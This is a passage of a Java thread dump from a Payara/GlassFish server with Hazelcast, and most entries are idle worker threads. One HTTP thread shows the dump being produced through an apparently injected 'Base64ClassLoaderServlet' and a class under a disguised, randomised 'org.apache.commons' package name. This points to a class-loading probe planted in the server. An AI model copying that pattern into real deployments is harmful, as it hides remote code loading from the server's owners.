java.util.ArrayList@773ff180 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.EventDispatcher.run(EventDispatcher.java:1122) + at org.apache.felix.framework.EventDispatcher.access$000(EventDispatcher.java:54) + at org.apache.felix.framework.EventDispatcher$1.run(EventDispatcher.java:102) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.IO.thread-Acceptor" #81 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at com.hazelcast.internal.server.tcp.TcpServerAcceptor$AcceptorIOThread.acceptLoop(TcpServerAcceptor.java:186) + at com.hazelcast.internal.server.tcp.TcpServerAcceptor$AcceptorIOThread.run(TcpServerAcceptor.java:172) + +"FelixResolver-8" #23 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4a44909c + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2083) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"EventAdminAsyncThread #6" #151 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2bec12e7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixFrameworkWiring" #19 daemon [WAITING] on java.util.ArrayList@56db332c + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.FrameworkWiringImpl.run(FrameworkWiringImpl.java:169) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.TcpServer.thread-1" #82 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5b0161e4 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1081) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"GlassFish Kernel Main Thread" #137 [WAITING] on com.sun.enterprise.v3.server.AppServerStartup$1@50e6f24e + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.sun.enterprise.v3.server.AppServerStartup$1.run(AppServerStartup.java:262) + +"hz.flamboyant_pascal.scheduled.thread-" #38 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@57fb5c2d + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2083) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"hz.flamboyant_pascal.partition-operation.thread-6" #47 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"http-thread-pool::http-listener-2(4)" #99 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@55811539 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.generic-operation.thread-2" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@36373e68 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"Executor-Service-6" #126 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@67230209 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RunLevelControllerThread-1754845034607" #31 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@7b58604e + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"log-notifier-1" #134 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@8b3298b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:492) + at java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:680) + at fish.payara.nucleus.notification.NotifierHandler.run(NotifierHandler.java:168) + at fish.payara.nucleus.notification.NotifierHandler$$Lambda$1632/1353093587.run(Unknown Source) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.runAndReset(FutureTask.java:308) + at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$301(ScheduledThreadPoolExecutor.java:180) + at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:294) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Accept-8686" #141 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:571) + at sun.security.ssl.SSLServerSocketImpl.accept(SSLServerSocketImpl.java:199) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.event-2" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3c966e61 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"admin-thread-pool::admin-listener(1)" #110 daemon [WAITING] on java.lang.Object@5f6295eb + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.generic-operation.thread-1" #54 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@36373e68 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"Scheduled Executor Service" #32 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2c84a228 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2083) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-1-expirer(1)" #93 daemon [TIMED_WAITING] on java.lang.Object@22282a54 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:149) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"payara-executor-service-task" #36 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@30aaddc5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-thread-pool::http-listener-1(2)" #89 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.apache.commons.SWzXl.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:326) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.apache.catalina.core.StandardWrapper.service(StandardWrapper.java:1637) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:331) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:211) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:253) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:211) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:257) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:167) + at org.apache.catalina.core.StandardPipeline.doInvoke(StandardPipeline.java:757) + at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:577) + at com.sun.enterprise.web.WebPipeline.invoke(WebPipeline.java:99) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:158) + at org.apache.catalina.connector.CoyoteAdapter.doService(CoyoteAdapter.java:372) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:239) + at com.sun.enterprise.v3.services.impl.ContainerMapper$HttpHandlerCallable.call(ContainerMapper.java:520) + at com.sun.enterprise.v3.services.impl.ContainerMapper.service(ContainerMapper.java:217) + at org.glassfish.grizzly.http.server.HttpHandler.runService(HttpHandler.java:182) + at org.glassfish.grizzly.http.server.HttpHandler.doHandle(HttpHandler.java:156) + at org.glassfish.grizzly.http.server.HttpServerFilter.handleRead(HttpServerFilter.java:201) + at org.glassfish.grizzly.filterchain.ExecutorResolver$9.execute(ExecutorResolver.java:95) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeFilter(DefaultFilterChain.java:260) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeChainPart(DefaultFilterChain.java:177) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.execute(DefaultFilterChain.java:109) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.process(DefaultFilterChain.java:88) + at org.glassfish.grizzly.ProcessorExecutor.execute(ProcessorExecutor.java:53) + at org.glassfish.grizzly.nio.transport.TCPNIOTransport.fireIOEvent(TCPNIOTransport.java:524) + at org.glassfish.grizzly.strategies.AbstractIOStrategy.fireIOEvent(AbstractIOStrategy.java:89) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.run0(WorkerThreadIOStrategy.java:94) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.access$100(WorkerThreadIOStrategy.java:33) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable.run(WorkerThreadIOStrategy.java:114) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@19914f8b + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[/app]]" #120 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1759) + at java.lang.Thread.run(Thread.java:750) + +"http-thread-pool::http-listener-2(1)" #96 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@55811539 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.cached.thread-2" #72 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@14c71a4a + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"RMI Scheduler(0)" #162 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@30e83ee8 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2083) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"payara-executor-service-scheduled-task" #133 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@548efdf + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RunLevelControllerThread-1754845034605" #29 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@7b58604e + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"CM Event Dispatcher" #140 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@42a34709 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:492) + at java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:680) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:73) + at java.lang.Thread.run(Thread.java:750) + +"Thread-22" #154 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.fs.LinuxWatchService.poll(Native Method) + at sun.nio.fs.LinuxWatchService.access$600(LinuxWatchService.java:47) + at sun.nio.fs.LinuxWatchService$Poller.run(LinuxWatchService.java:314) + at java.lang.Thread.run(Thread.java:750) + +"pool-23-thread-1" #166 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7a411503 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.HealthMonitor" #65 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at java.lang.Thread.sleep(Thread.java:342) + at java.util.concurrent.TimeUnit.sleep(TimeUnit.java:386) + at com.hazelcast.internal.diagnostics.HealthMonitor$HealthMonitorThread.run(HealthMonitor.java:163) + +"EventAdminAsyncThread #4" #146 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2bec12e7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"payara-executor-service-scheduled-task" #132 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@548efdf + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2083) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.IO.BalancerThread" #80 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@38188a5a + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2083) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at com.hazelcast.internal.networking.nio.iobalancer.IOBalancerThread.run(IOBalancerThread.java:65) + +"iiop-service-kernel(1) SelectorRunner" #115 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:90) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:315) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:255) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at 